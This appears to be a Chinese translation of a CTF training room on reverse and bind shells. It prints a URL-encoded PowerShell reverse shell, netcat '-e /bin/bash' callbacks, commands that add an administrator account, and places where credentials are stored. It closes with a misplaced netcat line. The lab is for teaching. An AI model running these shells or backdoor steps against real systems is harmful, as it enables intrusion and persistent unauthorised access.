当目标是 Windows 时,通常最容易使用 Web shell 获取RCE,或者使用 msfvenom 以服务器语言生成反向/绑定 shell。使用前一种方法时,通常使用 URL 编码的 Powershell 反向 Shell 来获取RCE 。这将作为参数复制到 URL 中cmd

powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

这与我们在任务 8 中遇到的 shell 相同,但是,它已经过 URL 编码,可以在 GET 参数中安全使用。请记住,上面代码中的 IP 和端口(粗体,靠近顶行末尾)仍然需要更改。

任务12 后续步骤

好的,我们有一个Shell了。怎么办?

我们已经介绍了许多生成、发送和接收 shell 的方法。这些的共同点是它们往往不稳定且非交互式。即使是更容易稳定的 Unix 风格的 shell 也不是理想的。那么,对此我们能做些什么呢?

在Linux上,我们理想情况下会寻找机会访问用户帐户。存储在的SSH密钥/home/<user>/.ssh通常是实现此目的的理想方式。在 CTF 中,在机器的某个地方找到凭据也并不罕见。一些漏洞还会允许您添加自己的帐户。特别是像Dirty C0w或可写的 /etc/shadow 或 /etc/passwd 这样的文件会很快让您获得对机器的SSH访问权限(假设SSH已打开)。

在 Windows 上,选项通常更加有限。有时可以在注册表中找到正在运行的服务的密码。例如,VNC 服务器经常将密码以明文形式存储在注册表中。某些版本的 FileZilla FTP 服务器还将凭据保留在位于 或 的XML文件中 。这些可以是MD5哈希值或纯文本形式,具体取决于版本。C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\xampp\FileZilla Server\FileZilla Server.xml

理想情况下,在 Windows 上,您将获得以 SYSTEM 用户身份运行的 shell,或者以高权限运行的管理员帐户。在这种情况下,可以简单地生成您自己的帐户(在管理员组中)添加到计算机,然后通过RDP、 telnet 、 winexe 、 psexec 、 WinRM 或任意数量的其他方法登录,具体取决于机器上运行的服务。

其语法如下:

net user <username> <password> /add
net localgroup administrators <username> /add

这项任务的重要收获:

反向和绑定 shell 但是是在计算机上获得远程代码执行的基本技术,,它们永远不会像本机 shell 那样功能齐全。理想情况下,我们总是希望升级为使用“正常”方法来访问机器,因为这总是更容易实现进一步利用目标。

任务十三 实践与实例

The remainder of this task will consist of shell examples for you to try out on the practice boxes.

这个房间包含了大量的信息,并给你很少的机会把它付诸实践。以下两个任务包含虚拟机(一个Ubuntu 18.04服务器和一个Windows服务器),每个虚拟机都配置了一个简单的Web服务器,您可以使用该服务器上传和激活shell。这是一个沙盒环境,所以没有过滤器可以绕过。如果你想登录netcat、socat或meterpreter shell来练习,也会给出登录凭证和说明。

这个任务的剩余部分将包括shell示例,供您在练习框上试用。

回答下面的问题

尝试上传一个webshell到Linux机器上,然后使用命令:nc <LOCAL-IP> <PORT> -e /bin/bash将反向shell发送回您自己机器上的一个等待侦听器。

导航到Kali中的/usr/share/webshells/php/php-reverse-shell.php,并更改IP和端口,以使您的tun0 IP与自定义端口匹配。设置一个netcat监听器,然后上传并激活shell。

使用任务 14 中的凭据通过 SSH 登录 Linux 计算机。使用任务 8 中的技术来试验绑定和反向 netcat shell。

在 Linux 机器上使用 Socat 练习反向和绑定 shell。尝试普通技术和特殊技术。

查看[Payloads 中的所有内容](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md)并尝试其他一些反向 shell 技术。尝试分析它们并了解它们为何有效。

切换到 Windows 虚拟机。尝试上传并激活php-reverse-shell.这有效吗?

在 Windows 目标上上传 Webshell 并尝试使用 Powershell 获取反向 shell。

网络服务器正在以系统权限运行。创建一个新用户并将其添加到“管理员”组,然后通过 RDP 或 WinRM 登录。

尝试使用 socat 和 netcat 在 Windows 目标上获取反向和绑定 shell。

使用 msfvenom 创建 64 位 Windows Meterpreter shell 并将其上传到 Windows Target。激活 shell 并使用 multi/handler 捕获它。试用此 shell 的功能。

为任一目标创建分阶段和无阶段的 meterpreter shell。上传并手动激活它们,用netcat捕获 shell——这有效吗?

任务14 Linux练习箱

此任务附带的框是一个Ubuntu服务器,其中文件上传页面运行在Web服务器上。这应该用于在Linux系统上练习shell上传。同样,socat和netcat都安装在这台机器上,所以请随时通过SSH在端口22上登录,直接使用它们进行练习。登录凭据为:

  • Username: shell
  • Password: TryH4ckM3!

任务十五 Windows练习箱

此任务包含一个运行XAMPP Web服务器的Windows 2019 Server框。这可以用来在Windows上练习shell上传。同样,Socat和Netcat都已安装,因此可以随时通过RDP或WinRM登录以练习使用它们。这些证书是:

  • Username: Administrator
  • Password: TryH4ckM3!

使用RDP登录:

nc <LOCAL-IP> <PORT> -e /bin/bash